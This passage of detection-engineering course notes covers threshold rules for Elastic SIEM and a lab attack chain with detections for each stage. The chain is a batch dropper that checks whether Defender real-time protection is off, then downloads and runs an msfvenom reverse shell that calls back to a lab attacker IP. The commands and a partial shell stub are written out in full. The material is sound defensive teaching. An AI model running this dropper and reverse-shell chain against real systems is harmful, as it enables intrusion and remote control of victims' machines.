* Adding `destination.ip` isolates *"this host hammering this specific server"* — which pinpoints both attacker and target, and avoids a busy host tripping the rule across many small conversations.

**Threshold:** `>= 1000` — fire when a bucket accumulates **1000 or more** matching events in the rule's search window.

**Count:** `All results >=` — *what* is being counted per group. Default is the document count in the bucket (which is what we want: number of requests).

**Unique values `>=`** (left blank) — the **cardinality** option. Instead of "≥1000 requests," you could require "≥N *distinct* values of some field" in the bucket — e.g. `url.path` cardinality `>= 50` would fire on *"one host requested 50+ different paths"*, a cleaner signal for **enumeration/spidering** that ignores repeat hits on the same page. Not used here, but it's the tool for "breadth" rather than "volume."

**Timeline template:** `None` — which investigation Timeline opens when you triage a generated alert (a pre-built pivot view). Optional.

Then **Continue**.

***

#### The threshold number is the whole detection

`1000` is not a magic value — it's a **tuning decision**, and it's where a volume rule lives or dies:

* **Too low** → false positives. A single-page app, an API client, an internal monitoring bot, or a user mashing refresh can legitimately rack up hundreds of requests. Set it at 100 and you'll drown in benign traffic.
* **Too high** → false negatives. A patient attacker running a *slow* scan (rate-limited, spread over hours) may never put 1000 requests into any single window, even though the daily total is enormous.

There is no universal right answer — the threshold has to be **baselined against what "normal" looks like in your environment.** You set it by looking at real traffic volumes (in Discover / field statistics) and picking a number comfortably above legitimate peaks but below a scan's burst.

> **Window interaction — the subtle part.** The count is over the rule's **search window** (its interval + look-back, §3.3 Step 7). A 5-minute rule counts requests per \~5-minute slice. So "1000" really means *"1000 from one host to one host within a 5-minute window."* Low-and-slow scanning is the built-in evasion for *any* threshold rule — worth writing into the rule's False-positive/limitations notes, and a reason threshold rules pair well with longer-window or cardinality variants.

***

#### The rest mirrors the Query rule

Steps 2–4 are the same machinery as §3.3, so only the deltas matter here:

* **About** — give it a name (e.g. *Web Scanner Activity*), description, severity/risk, and the **investigation guide** (the responder's runbook: confirm the source isn't an authorised scanner, check the target, look at `url.path` spread).
* **MITRE ATT\&CK** — same mapping as §3.3: **Discovery (TA0007) → Network Service Discovery (T1046)** (reconciled with the T1595 Active Scanning lens in §3.3's MITRE note).
* **Schedule** — runs every **5 minutes** (+ look-back), identical reasoning to §3.3.
* **Actions** — wire up notifications/tickets as needed (§3.3 Step 8).

***

#### Signature vs Threshold — the pair, resolved

This closes the split from §3.2. The two rules cover the *same* attack through opposite properties:

|                  | §3.3 Custom Query (signature)                    | §3.4 Threshold (volume)                        |
| ---------------- | ------------------------------------------------ | ---------------------------------------------- |
| **Keys on**      | `user_agent.original` matches `*Nmap*`/`*Nikto*` | ≥1000 requests per (source.ip, destination.ip) |
| **Looks at UA?** | Yes — the whole rule                             | No — ignores it entirely                       |
| **Strength**     | Precise, near-zero FP, cheap                     | Survives UA spoofing; catches unknown tools    |
| **Weakness**     | Evaded by changing the UA string                 | Needs tuning; misses low-and-slow              |
| **Dedup**        | Needs *Suppress alerts by*                       | Inherent (one alert per bucket)                |
| **Rule type**    | Custom query                                     | Threshold                                      |

> **Reconciling:** an attacker who spoofs the UA slips past §3.3 but still trips §3.4; an attacker who scans slowly enough to dodge §3.4's threshold still trips §3.3 if they didn't spoof the UA. Layering the two means evading *both* requires spoofing the UA **and** throttling the scan — much more expensive than either alone. **Defence in depth at the detection layer** is the takeaway: multiple weak-in-different-ways rules on one behaviour beat one "perfect" rule.

***

#### MITRE ATT\&CK

Same as §3.3 — the course tags it **Discovery (TA0007) →** [**Network Service Discovery (T1046)**](https://attack.mitre.org/techniques/T1046/), with [**Active Scanning (T1595)**](https://attack.mitre.org/techniques/T1595/) as the external-recon reading. The technique doesn't change because the *detection method* changed — both rules catch the same adversary behaviour, just via different telemetry properties. (Mapping is per-behaviour, not per-rule.)

***

#### Key Takeaways (Quick Reference)

* A **Threshold** rule *aggregates*: it groups matching events, counts each group, and alerts when a group's count `>=` the threshold. Only a threshold rule can express "volume."
* The query is just `event.dataset : "zeek.http"` — **no user-agent filter**. The detection is in the aggregation, which is why it beats the UA-spoof evasion that defeats §3.3.
* **Group by `source.ip` AND `destination.ip`** → bucket = one attacker→target conversation; pinpoints both ends and avoids lumping a busy host together.
* **Threshold `>= 1000`**; **Count = All results** (document count per group); **Unique values** = optional cardinality (e.g. distinct `url.path >= 50` for enumeration breadth).
* Threshold rules **deduplicate inherently** — one alert per group (no *Suppress alerts by* needed).
* **The threshold number is the detection.** Too low = FP from busy clients; too high = miss slow scans. Baseline it to your environment.
* Count is over the rule's **search window** — "1000 in \~5 min," so low-and-slow scanning is the built-in evasion; note it in limitations.
* Signature (§3.3) and Threshold (§3.4) fail in opposite ways → run **both**. Evading both = spoof UA *and* throttle = expensive. Defence in depth at the detection layer.
* MITRE mapping is **per-behaviour, not per-rule** — same T1046/T1595 as §3.3.

***

#### Related Topics

```
§3.2 signature-vs-volume split  →  §3.3 signature (Query)  +  §3.4 volume (Threshold)  = pair resolved
§3.3 Suppress alerts by (manual dedup)  ⟷  §3.4 Threshold (inherent dedup)
Threshold tuning  ⟷  FP (busy clients) vs FN (low-and-slow)  — the detection-quality tradeoff
Group by / Count / Unique values (cardinality)  →  volume vs breadth detections
§3.4  →  §3.5 Alert confirmation (verifying the rules actually fire)
Defence in depth at the detection layer: many weak-differently rules > one "perfect" rule
```

***

### 3.5 Scenario 2 — A Defender-Gated Dropper → Reverse-Shell Chain

*Attack Scenarios, lectures 007–009 (overview + setup + execution). A completely different shape of attack from Scenario 1. Where Scenario 1 was a single network behaviour (scanning) caught with Zeek, this is a **multi-stage host attack**: a batch-file **dropper** that first checks whether Windows Defender is disabled, then downloads a payload, then downloads and executes an msfvenom **reverse shell** that calls back to the attacker. Every stage runs on the Windows host — so the telemetry that catches it is the **host** telemetry stood up in Module 2 (PowerShell logging, Sysmon, Elastic Defend), not Zeek. The goal of this lecture set is to build the attack; the following lectures (010–012) review it and write a detection for each stage.*

***

#### The overview — three detections in one kill chain

The scenario is designed around a deliberate point: a real attack is a **chain of steps**, and each step is a separate chance to catch it. The flow:

```
        ┌──────────────────────────────┐
        │  DETECTION 1                 │
        │   Download Dropper           │   ← .bat lands & runs on the host
        └───────────────┬──────────────┘
                        ▼
                ╱────────────────╲
               ╱  Defender / RTP  ╲       ← attacker's gate: only proceed
               ╲    disabled?      ╱         if real-time protection is OFF
                ╲────────┬────────╱
                        ▼ (yes)
        ┌──────────────────────────────┐
        │  DETECTION 2                 │
        │   Download Return Shell      │   ← Invoke-WebRequest pulls shell.bat
        └───────────────┬──────────────┘
                        ▼
        ┌──────────────────────────────┐
        │  DETECTION 3                 │
        │   Return Shell Execution     │   ← shell.bat runs → callback to attacker
        └──────────────────────────────┘
```

> **Mindset — a multi-stage attack is a gift to the defender.** The attacker has to succeed at *every* stage; you only have to catch them at *one*. So you don't hunt for "the" detection — you build one per stage and let them overlap. This is the §3.4 "defence in depth" idea again, but now spread **across kill-chain stages** instead of across detection methods on a single behaviour. A dropper that evades Detection 1 still has to survive Detection 2 and Detection 3.

**Why this matters for telemetry:** every arrow above is a host action — a process spawning, a PowerShell command running, a file being written, an outbound connection opening. That's exactly what **Module 2** was built to see. Scenario 1 proved the *network* pipeline (Zeek → Elastic); Scenario 2 exercises the *host* pipeline (Sysmon / PowerShell script-block logging / Elastic Defend → Elastic). This is where §2.4 (Sysmon) and §2.5 (PowerShell visibility) stop being setup and start earning their keep.

***

#### Stage 0 — the Defender gate (and why the check *itself* is a signal)

Before doing anything loud, the attacker confirms the environment is safe to operate in — i.e. that Defender's real-time protection is off. This is done with the built-in Defender cmdlet **`Get-MpComputerStatus`**:

```powershell
Get-MpComputerStatus
```

It dumps Defender's full state. The fields that matter here:

* `RealTimeProtectionEnabled` — the live scanning that would block the payload
* `BehaviorMonitorEnabled` — behavioural blocking (shown `False` in the lab)
* `AntivirusEnabled`, `AMServiceEnabled`, signature versions, etc.

The attacker distils this to a one-line gate — proceed only if real-time protection is **off**:

```powershell
if (Get-MpComputerStatus | where-object {$_.RealTimeProtectionEnabled -like 'False'}) {write-host("property is false!")}
```

With RTP disabled, this prints `property is false!`; flipping the test to `-like 'True'` prints nothing — confirming RTP is indeed off in the lab. That logic becomes the guard clause in the dropper's `.bat`:

```bat
@ECHO off
powershell -Command "& {if (Get-MPComputerStatus | where-object {$_.RealTimeProtectionEnabled -like 'True'}) {write-host("property is false!")}}"
pause
```

*(This first version is just the proof-of-concept gate; the download action gets added in Stage 1.)*

> **Detection-engineering read — the check is a two-for-one.** First, it's **tradecraft**: keying execution to the security posture is a defensive-evasion move ([Security Software Discovery, T1518.001](https://attack.mitre.org/techniques/T1518/001/)). Second, it's a **detection opportunity in its own right** — a process querying `Get-MpComputerStatus` / Defender WMI classes is unusual for a normal user and shows up in PowerShell script-block logs. And the *premise* — Defender/RTP being disabled at all — should itself be alarming: real-time protection flipping off is a classic [Impair Defenses (T1562)](https://attack.mitre.org/techniques/T1562/) precursor and is worth its own detection independent of this chain.

***

#### Stage 1 — the dropper (download-on-click)

The attacker hosts a payload file on ParrotOS (`192.168.56.137`) with Python's web server:

```bash
cat test.txt          # → "aaaagh bad code"  (a stand-in payload)
python3 -m http.server # → Serving HTTP on 0.0.0.0 port 8000
```

On the Windows victim, the download primitive is PowerShell's **`Invoke-WebRequest`**:

```powershell
Invoke-WebRequest -URI http://192.168.56.137:8000/test.txt -OutFile c:\Windows\temp\test.txt
```

That one line is then folded into the gated dropper `.bat` — *only download if Defender is disabled*:

```bat
@ECHO off
powershell -Command "& {if (Get-MPComputerStatus | where-object {$_.RealTimeProtectionEnabled -like 'False'}) {Invoke-WebRequest -URI http://192.168.56.137:8000/test.txt -OutFile c:\Windows\temp\test.txt}}"
pause
```

Double-clicking the `.bat` now runs the gate and, if RTP is off, pulls the payload down to `C:\Windows\temp\`.

> **Detection surface.** This single click produces a rich host trail: `cmd.exe` (the `.bat`) spawning `powershell.exe`; a PowerShell script block containing `Invoke-WebRequest` to an **external IP**; and a file write into `C:\Windows\temp\` — a classic staging directory. This is [Ingress Tool Transfer (T1105)](https://attack.mitre.org/techniques/T1105/) via [PowerShell (T1059.001)](https://attack.mitre.org/techniques/T1059/001/), and it's precisely why **§2.5's script-block logging** matters: without it, the `Invoke-WebRequest` command line is invisible and you're left with a bare "powershell ran" event.

***

#### Stage 2 — build the return shell (msfvenom + handler)

The real payload is a reverse shell generated with **msfvenom**:

```bash
msfvenom -p cmd/windows/reverse_powershell lhost=192.168.56.137 lport=8443 > shell.bat
```

* `-p cmd/windows/reverse_powershell` — a PowerShell-based reverse shell delivered as batch/command payload.
* `lhost=192.168.56.137` / `lport=8443` — where the shell calls **back to** (the attacker, ParrotOS).
* `> shell.bat` — written out as the file the victim will fetch and run.

The attacker then stands up the matching listener in Metasploit — the **handler** that catches the callback:

```
use exploit/multi/handler
set lhost 192.168.56.137
set lport 8443
run
```

> **What "reverse shell" means here.** In a *reverse* shell the victim initiates the outbound connection to the attacker (rather than the attacker connecting in) — which sails through most outbound-permissive firewalls. `lhost`/`lport` on both the payload and the handler must match; the handler just waits for the victim to dial home. The pairing (`reverse_powershell` payload ↔ `multi/handler`) is the generic Metasploit catch-any-payload setup.

***

#### Stage 3 — deliver & execute (the full dropper)

The dropper is upgraded once more: gated download of `shell.bat`, then **execute it**:

```bat
@ECHO off
powershell -Command "& {if (Get-MPComputerStatus | where-object {$_.RealTimeProtectionEnabled -like 'False'}) {Invoke-WebRequest -URI http://192.168.56.137:8000/shell.bat -OutFile c:\Windows\temp\shell.bat; c:\Windows\temp\shell.bat}}"
pause
```

The `;` chains two actions inside the guarded block: download `shell.bat` to `C:\Windows\temp\`, then run it. On execution the reverse shell fires and the Metasploit handler reports the **connection received** — the attacker now has an interactive shell on the Windows host.

> **Detection surface.** The loudest stage: `powershell.exe` (or its child) executing `C:\Windows\temp\shell.bat`, followed by an **outbound connection to `192.168.56.137:8443`** — an odd port, from a script in a temp directory. Process lineage (`cmd → powershell → shell.bat → callback`) plus the network egress is the signal. Elastic Defend / Sysmon see the process and network events; §2.5 logging sees the PowerShell.

***

#### What each stage leaves behind — the detection map

This table is the bridge to lectures 010–012 (review → create alerts → confirm). Each row is a rule waiting to be written:

| Stage                | Attacker action                                         | Host artifact / telemetry                                                               | ATT\&CK                                                      |
| -------------------- | ------------------------------------------------------- | --------------------------------------------------------------------------------------- | ------------------------------------------------------------ |
| **0 — Gate**         | `Get-MpComputerStatus` RTP check; Defender/RTP off      | PowerShell script block querying Defender; Defender state = disabled                    | T1518.001 Security Software Discovery; T1562 Impair Defenses |
| **1 — Dropper**      | `Invoke-WebRequest` pulls payload to `C:\Windows\temp\` | `cmd→powershell` chain; `Invoke-WebRequest` in script block; write to temp; external IP | T1105 Ingress Tool Transfer; T1059.001 PowerShell            |
| **2 — Return shell** | Fetch `shell.bat`                                       | Second `Invoke-WebRequest` to `:8000`                                                   | T1105 Ingress Tool Transfer                                  |
| **3 — Execution**    | Run `shell.bat` → callback                              | Execution from temp; **outbound to :8443**; reverse-shell process tree                  | T1059.001 PowerShell; C2 / reverse shell                     |

> **Reconciling — one attack, several independent detections.** No single rule here is "the" detection. You could catch the Defender query, *or* the download-to-temp, *or* the temp execution, *or* the odd outbound connection. Building rules at multiple stages is what makes the chain hard to complete undetected — and it's the direct application of the layered-detection principle to a real kill chain. (Contrast Scenario 1, where the layering was two methods on *one* behaviour; here it's one method across *many* behaviours.)

***

#### MITRE ATT\&CK

The chain maps across several tactics — which is the point of documenting it stage-by-stage:

* [**T1518.001 — Security Software Discovery**](https://attack.mitre.org/techniques/T1518/001/) (Discovery) — the `Get-MpComputerStatus` gate.
* [**T1562 — Impair Defenses**](https://attack.mitre.org/techniques/T1562/) (Defense Evasion) — the *context*: Defender/RTP disabled so the payload survives.
* [**T1105 — Ingress Tool Transfer**](https://attack.mitre.org/techniques/T1105/) (Command and Control) — `Invoke-WebRequest` pulling the payload and the shell.
* [**T1059.001 — Command and Scripting Interpreter: PowerShell**](https://attack.mitre.org/techniques/T1059/001/) (Execution) — everything runs through PowerShell.
* **Reverse shell C2** — the `reverse_powershell` callback is the command-and-control channel.

Mapping *why*: this is a textbook loader/dropper pattern — *check defenses → stage payload → execute → call home* — and tagging each stage to its technique is what turns "an attack happened" into "here are the four places we could have caught it."

***

#### Key Takeaways (Quick Reference)

* Scenario 2 is a **multi-stage host attack** (dropper → download shell → execute), the opposite of Scenario 1's single network behaviour. Telemetry is **host-based** — this is where Module 2's Sysmon / PowerShell logging / Elastic Defend pay off.
* **Multi-stage = multiple detection opportunities.** Build a rule per stage; the attacker must beat all of them, you only need one.
* **Stage 0 gate:** `Get-MpComputerStatus` → `RealTimeProtectionEnabled -like 'False'`. The check is both **tradecraft** (Security Software Discovery) *and* a detection opportunity; Defender/RTP being off is itself alarming (Impair Defenses).
* **Stage 1 dropper:** `Invoke-WebRequest -URI http://192.168.56.137:8000/test.txt -OutFile c:\Windows\temp\test.txt`, wrapped in the Defender-gated `.bat`. Download-to-temp via PowerShell = Ingress Tool Transfer; §2.5 script-block logging is what makes the command line visible.
* **Stage 2 payload:** `msfvenom -p cmd/windows/reverse_powershell lhost=192.168.56.137 lport=8443 > shell.bat` + `use exploit/multi/handler` (set lhost/lport, run). Reverse shell = victim dials out; lhost/lport must match on payload and handler.
* **Stage 3 execution:** final `.bat` downloads *and* runs `shell.bat` (`;`-chained inside the gate) → **connection received** at the handler. Signal = execution from temp + outbound to `:8443` + the `cmd→powershell→shell.bat` process tree.
* ATT\&CK chain: T1518.001 → T1562 → T1105 → T1059.001 → reverse-shell C2. Each stage = a rule to build in 010–012.

***

#### Related Topics

```
§3.1–§3.4 Scenario 1 (network / Zeek, single behaviour)  ⟷  §3.5 Scenario 2 (host, multi-stage)
§2.4 Sysmon + §2.5 PowerShell logging  →  §3.5 (the telemetry that catches this chain)
§3.4 defence-in-depth (methods on one behaviour)  →  §3.5 defence-in-depth (stages of one chain)
§3.5 build the attack  →  lectures 010–012: review → create alerts → confirm detections
Dropper pattern: check defenses → stage payload → execute → call home
ATT&CK: T1518.001 · T1562 · T1105 · T1059.001 · reverse-shell C2
```

***

### 3.6 Detecting the Dropper Chain — Four Rules Across Two Telemetry Sources

*Attack Scenarios, lectures 010–011 (review + create alerts). The §3.5 detection map turned into working rules. First the attack is **read back out of the data** in Discover — the `.bat` downloads in Zeek's HTTP logs, and the full process tree in Sysmon. Then **four** detection rules are built against it: one on network telemetry (a `.bat` served over HTTP on an odd port) and three on host telemetry (PowerShell run from a `.bat`, PowerShell downloading a `.bat`, and the msfvenom payload signature). This is the layered-across-stages idea from §3.5 made concrete — and it teaches process-lineage detection, rule preview, and the single most useful field-mapping gotcha in Elastic.*

***

#### Review first — read the attack out of the data (lec 010)

You don't invent detections; you build them from what you can *see*. Two data sources hold this attack.

**Zeek HTTP (`event.dataset: zeek.http`)** — the network view of the payload transfers. Toggling in `url.path`, `url.extension`, `destination.ip`, `destination.port`, `http.response.status_code`, five hits tell the whole download story:

| time  | url.path     | url.extension | status | dest.ip        | dest.port |
| ----- | ------------ | ------------- | ------ | -------------- | --------- |
| 13:29 | `/test.txt`  | txt           | 200    | 192.168.56.137 | 8000      |
| 13:31 | `/test.txt`  | txt           | 200    | 192.168.56.137 | 8000      |
| 13:37 | `/shell.bat` | **bat**       | 200    | 192.168.56.137 | **8000**  |
| 13:40 | `/shell.bat` | **bat**       | 200    | 192.168.56.137 | **8000**  |
| 13:43 | `/shell.txt` | txt           | 200    | 192.168.56.137 | 8000      |

The tell jumps out: **a `.bat` file being fetched over HTTP on port 8000** — executables don't normally get served over a random high port.

**Sysmon (`event.dataset: windows.sysmon_operational` + `process.command_line: exists`)** — the host view, \~403 process events. Adding `process.command_line`, `process.parent.command_line`, `process.parent.name` as columns exposes the whole tree:

* `cmd.exe /c ""C:\Users\User\Desktop\testing.bat""` — the dropper `.bat` running (parent `cmd.exe`)
* `powershell -Command "& {if (Get-MPComputerStatus | where-object {$_.RealTimeProtectionEnabled -like 'False'}) {Invoke-WebRequest -URI http://192.168.56.137:8000/shell.bat -OutFile c:\Windows\temp\shell.bat; c:\Windows\temp\shell.bat}}"` — the gated download+execute, parent `cmd.exe`
* `C:\Windows\system32\cmd.exe /c ""C:\Windows\temp\shell.bat""` — the shell running, parent `powershell.exe`
* `"cmd.exe"` whose parent is `powershell -w hidden -nop -c $a='192.168.56.137';$b=8443;$c=New-Object system.net.sockets.tcpclient;...` — the **msfvenom reverse-shell stub**

> **Mindset — the attack is already written in the process tree.** Nearly every detection below keys on **parent→child lineage**, not a lone process. `cmd.exe` (a `.bat`) → `powershell.exe`, and `powershell.exe` → `cmd.exe` (the payload), are the fingerprints. On host telemetry, *who spawned whom with what command line* is where behaviour lives — a bare "powershell ran" event is nearly useless; "powershell ran, launched by a `.bat`, containing `Invoke-WebRequest`" is a detection.

***

#### Four detections for one chain

Mapping each rule to the stage and source it covers:

| # | Rule                                               | Source         | Catches                                 |
| - | -------------------------------------------------- | -------------- | --------------------------------------- |
| 1 | Bat files observed in HTTP traffic on unusual port | Zeek (network) | payload/shell **download**              |
| 2 | PowerShell execution via BAT file                  | Sysmon (host)  | dropper `cmd→powershell` **execution**  |
| 3 | PowerShell Invoke-WebRequest downloading .BAT      | Sysmon (host)  | the **download command** itself         |
| 4 | Potential MSF PowerShell payload observed          | Sysmon (host)  | the reverse-shell **payload signature** |

Four independent catches for one attack — evading all four means beating both the network sensor and three different host signals.

***

#### Detection 1 — `.bat` over HTTP on an unusual port (Zeek)

```kql
event.dataset: zeek.http and url.extension: bat and not destination.port: 80
```

* **Rule name:** *Bat files observed in HTTP Traffic on Unusual Port*
* **Description:** *Using Zeek HTTP data, we're looking at .bat file extensions on any destination port that isn't port 80.*
* Custom query · **Suppress by `source.ip`** · 5-minute window.

> **Why the `not destination.port: 80` matters — signal × context.** A `.bat` moving over HTTP is already odd, but plenty of legitimate software ships batch files over standard web ports. Excluding **80** (you'd also exclude 443 in the real world) keeps the rule pointed at the *anomaly*: an executable served over a **non-standard** port like 8000 — which is what a python `http.server` staging box looks like. This is a recurring detection-engineering move: pair a **content** signal (`.bat`) with a **context** signal (odd port) so the rule fires on the suspicious case and skips the benign one.

***

#### Detection 2 — PowerShell launched from a `.bat` (Sysmon)

```kql
event.dataset : "windows.sysmon_operational" and process.command_line: powershell* and process.parent.command_line: *bat* and process.parent.name: cmd.exe
```

* **Rule name:** *Powershell execution via BAT file*
* **Description:** *From looking at the sysmon operational logs, we're triggering on powershell running through a bat file execution.*
* Custom query · **Suppress by `host.hostname`** · 5-minute window.
* **Rule preview** run over the **last 1 day** → returned the known events → then **enabled**.

> **Reading the logic — this is a process-lineage rule.** It requires *all* of: the child is PowerShell (`process.command_line: powershell*`), the parent's command line mentions a batch file (`process.parent.command_line: *bat*`), and the parent is `cmd.exe` (`process.parent.name: cmd.exe`). Any one alone is noisy; the **combination** — \`cmd.exe running a .bat that spawns PowerShell\*\* — is the dropper pattern and rarely benign. This is why detections live in the tree, not the leaf.

***

#### Detection 3 — PowerShell `Invoke-WebRequest` pulling a `.bat` (Sysmon)

First pass:

```kql
event.dataset : "windows.sysmon_operational" and process.parent.name: powershell.exe and process.parent.command_line: *Invoke-WebRequest
```

Refined (add the `.bat` constraint and close the wildcard):

```kql
event.dataset: "windows.sysmon_operational" and process.parent.name: powershell.exe and process.parent.command_line: *Invoke-WebRequest* and process.command_line: *.bat"
```

* **Rule name:** *PowerShell Invoke-WebRequest Downloading .BAT File*
* **Description:** *Using sysmon data, we're triggering on PowerShell logs where Invoke-WebRequest and bat strings are observed.*
* Custom query · **Suppress by `host.hostname`** · runs every **5 minutes**, 5-minute window · create + enable.

> **Why refine it — tightening to cut false positives.** The first query catches *any* child of a PowerShell that ran `Invoke-WebRequest` — too broad (PowerShell downloads plenty of benign things). Adding `process.command_line: *.bat"` narrows it to the case that matters: an `Invoke-WebRequest` **specifically fetching a `.bat`**. This is the normal detection-tuning loop — start broad enough to catch the behaviour, then add constraints until the benign hits fall away without losing the malicious one. (Note the wildcard nuance from §3.3: leading `*` = substring match; without it the field would have to equal the string exactly.)

***

#### Detection 4 — the msfvenom payload signature, and the `message` gotcha (Sysmon)

```kql
event.dataset: "windows.sysmon_operational" and process.command_line: "\"cmd.exe\"" and message: "*powershell -w hidden -nop -c $a=*"
```

* **Rule name:** *Potential MSF PowerShell Payload Observed*
* **Description:** *This alert triggers via sysmon data on a string of text that occurs out of the box with msfvenom.*
* Custom query · **Suppress by `host.hostname`** · 5-minute window · create.

This one catches the reverse shell by its **tool-default fingerprint**: `cmd/windows/reverse_powershell` always emits a stub beginning `powershell -w hidden -nop -c $a='<lhost>';$b=<lport>;$c=New-Object system.net.sockets.tcpclient;...`. The child process is a bare `"cmd.exe"`; the parent command line is that stub.

> **The crown-jewel lesson — when a field is "Ignored value", fall back to `message`.** The obvious place to match the stub is `process.parent.command_line` — but in Discover that field shows **⚠ Ignored value**. Elasticsearch has an `ignore_above` mapping limit on keyword fields (default 256 chars): **strings longer than the limit are stored but&#x20;*****not indexed*****, so they're unsearchable in that field.** The msfvenom stub is far longer than 256 chars, so `process.parent.command_line: *tcpclient*` would match **nothing** even though the text is right there. The fix: match against **`message`** — the **full raw log line**, which is *not* subject to that per-field limit and still contains the entire command. So the rule pairs a searchable short field (`process.command_line: "\"cmd.exe\""`) with a `message` substring for the long stub.

> **Mindset:** *"my query returns nothing but I can see the value in the document" almost always means the field is `ignore_above`-truncated or not the field you think it is.* `message` (or a `.text` multi-field) is the escape hatch. This is the §2.1 "empty results ≠ missing data" trap in its most subtle form — the data is indexed, just not in the field you queried.

> **Tradeoff:** signaturing a tool's *default* output is cheap and precise but brittle — an attacker who customises the msfvenom template or uses a different payload slips past it. It's the §3.3 signature-vs-robust tension again, on host data. Worth having (defaults are common), but not sufficient alone — which is why Detections 1–3 also exist.

***

#### The shared pattern — suppression & schedule

Every rule here uses the same two habits:

* **Suppress by the entity that identifies one instance of the attack for that source.** Network rule → `source.ip` (one scanning/downloading host). Host rules → `host.hostname` (one victim). Without it, a single attack that touches many events becomes many alerts.
* **5-minute schedule + window** (run-every + look-back, §3.3 Step 7) across all four — consistent cadence, covers ingest lag.
* **Rule preview before enable** (Detection 2) — run the rule against historical data (last 1 day) to confirm it fires on the *known* attack and to eyeball false-positive volume, *then* turn it on. That's §1.1 unit-testing applied to a rule: prove it catches the thing before you trust it.

***

#### MITRE ATT\&CK

All four rules tag under **Execution (TA0002) →** [**Command and Scripting Interpreter (T1059)**](https://attack.mitre.org/techniques/T1059/), with the sub-technique chosen to match the interpreter:

* [**T1059.001 — PowerShell**](https://attack.mitre.org/techniques/T1059/001/) — Detections 2, 3, 4 (PowerShell is doing the work).
* [**T1059.003 — Windows Command Shell**](https://attack.mitre.org/techniques/T1059/003/) — the `cmd.exe`/`.bat` execution layer.

Mapping *why*: the whole chain is **script/command-interpreter execution** — `cmd.exe` running a `.bat`, PowerShell running a stub — so T1059 with the interpreter-specific sub-technique is the honest tag. (The download stages also touch T1105 Ingress Tool Transfer per §3.5, but for these *execution* rules the course tags the execution technique.)

***

#### Key Takeaways (Quick Reference)

* Review the data **first** (lec 010): Zeek shows the `.bat` fetched over HTTP on `:8000`; Sysmon shows the full `cmd→powershell→cmd` tree. Build detections from what you see.
* **One chain → four rules across two sources** (1 network, 3 host). Layered across stages *and* sources; evading all four is expensive.
* **Detection 1** (network): `event.dataset: zeek.http and url.extension: bat and not destination.port: 80` — content (`.bat`) × context (odd port). Suppress by `source.ip`.
* **Detection 2** (host, lineage): `... process.command_line: powershell* and process.parent.command_line: *bat* and process.parent.name: cmd.exe`. Detections live in the **process tree**, not a single process. Suppress by `host.hostname`.
* **Detection 3** (host): PowerShell whose command mentions `Invoke-WebRequest` *and* `.bat`. **Refine broad→narrow** to cut FPs.
* **Detection 4** (host, signature): the msfvenom `reverse_powershell` stub (`powershell -w hidden -nop -c $a=...`).
* **`ignore_above` / "Ignored value"**: keyword fields drop strings over \~256 chars from the index — unsearchable in that field. **Match `message` (raw log) instead.** "Value visible but query returns nothing" = truncated/wrong field.
* **Suppress by the one-instance entity** (`source.ip` network / `host.hostname` host). **Rule preview** over historical data validates a rule before enabling (§1.1 unit test).
* Tool-default signatures (msfvenom stub) are cheap but brittle — pair with lineage/behaviour rules.
* MITRE: Execution T1059 → .001 PowerShell / .003 Windows Command Shell.

***

#### Related Topics

```
§3.5 detection map (per-stage artifacts)  →  §3.6 four working rules
§2.4 Sysmon + §2.5 PowerShell logging  →  §3.6 (process.command_line / parent lineage is what these produce)
§3.3 signature (UA)  →  §3.6 Detection 4 (msfvenom stub) — same brittleness, host data
§3.3 wildcard matching + §2.1 "empty ≠ missing"  →  §3.6 ignore_above / message fallback
Process lineage (parent→child) = the core host-detection primitive
Rule preview  →  §1.1 unit testing a rule before enabling
MITRE Execution T1059 (.001 PowerShell · .003 Windows Command Shell)
```

***

### 3.7 Confirming the Detections — Re-run, Alerts, Defend & the Analyzer

*Attack Scenarios, lecture 012. The last step of the detection lifecycle: **prove the rules fire.** The Scenario 2 attack is re-run and the alerts are watched arriving in Elastic. Along the way two things worth knowing get introduced — Elastic Defend's **detect-only mode** (why the attack was allowed to run at all) and the **Analyzer**, the visual process-tree view that renders the exact lineage the §3.6 rules keyed on.*

***

#### Why a confirmation step exists

A rule you've written but never watched fire is a hypothesis, not a detection. Building the query (§3.6) proves it *matches historical data*; **confirmation** proves it *alerts on the live behaviour end-to-end* — query → schedule → alert index → Alerts view. This is the §1.1 unit-testing loop closing on the rule itself: run the known-bad, confirm the expected alert appears. If it doesn't, something between the behaviour and the alert is broken (source index, schedule, field, suppression), and better to find that now than during a real incident.

So the attack is executed again, and the Alerts view fills with the expected hits — **Potential MSF PowerShell Payload Observed** (1), **PowerShell Execution via a BAT File** (1), and the rest from §3.6. Seeing each custom rule light up is the sign-off that the detections work.

***

#### Two kinds of alert fired — custom *and* built-in

The re-run surfaces alerts from **two independent sources**, which is the important observation:

* **The custom rules from §3.6** — the ones we authored against Zeek/Sysmon.
* **Elastic Defend's own behavioural detections** — e.g. *"Malicious Behavior Detection Alert: Suspicious PowerShell Execution"* at **critical / risk 99**. These are Elastic's **out-of-the-box** protections, not anything we wrote.

Those Defend alerts reach the Alerts view through a built-in rule called **Endpoint Security**: *"Generates a detection alert each time an Elastic Endpoint Security alert is received."* Its definition is worth reading —

* **Index patterns:** `logs-endpoint.alerts-*`
* **Custom query:** `event.kind:alert and event.module:(endpoint and not endgame)`
* **Rule type:** Query · **Related integration:** Elastic Defend (Installed: enabled)

> **Mindset — your detections complement the vendor's, they don't replace them.** Elastic Defend already caught the suspicious PowerShell on its own. So why write custom rules at all? Because vendor behavioural detections are a *floor*, not a *ceiling* — they catch the well-known patterns, tuned generically, and they're a black box you can't fully see into or adapt. Your custom rules cover the environment-specific behaviours, the odd ports, the tool defaults, the things Defend misses or scores low. A mature program runs **both**: built-in protections as broad coverage, custom detections as the targeted layer on top.

***

#### Detect-only mode — why the attack ran instead of being blocked

If Elastic Defend flagged the payload as *critical*, why did it execute at all? Because Defend's protections were set to **Detect** rather than **Prevent**.

Elastic Defend (configured in its integration **policy**) runs each protection — malware, ransomware, behaviour, memory — in one of two postures:

* **Prevent** — Defend *blocks* the action and alerts. Production posture.
* **Detect (detect-only)** — Defend *observes and alerts* but takes **no action**. It lets the behaviour happen.

For **building and testing detections**, detect-only is essential: if Defend killed the dropper on contact, the rest of the chain would never run and you'd have no telemetry to detect on. Flipping protections to detect-only lets the full attack play out so you can *see* it, write rules against it, and confirm them — exactly what this module needs.

> **Reconciling — this is a lab/authoring choice, not a production one.** Detect-only is how you *develop* detections; **Prevent** is how you *run*. Never leave a production endpoint in detect-only just because it's quieter — you've turned your EDR into a very expensive log source. (The trade is real: Prevent can block legitimate software too, which is why detections get *validated* in detect-only first, then promoted.)

***

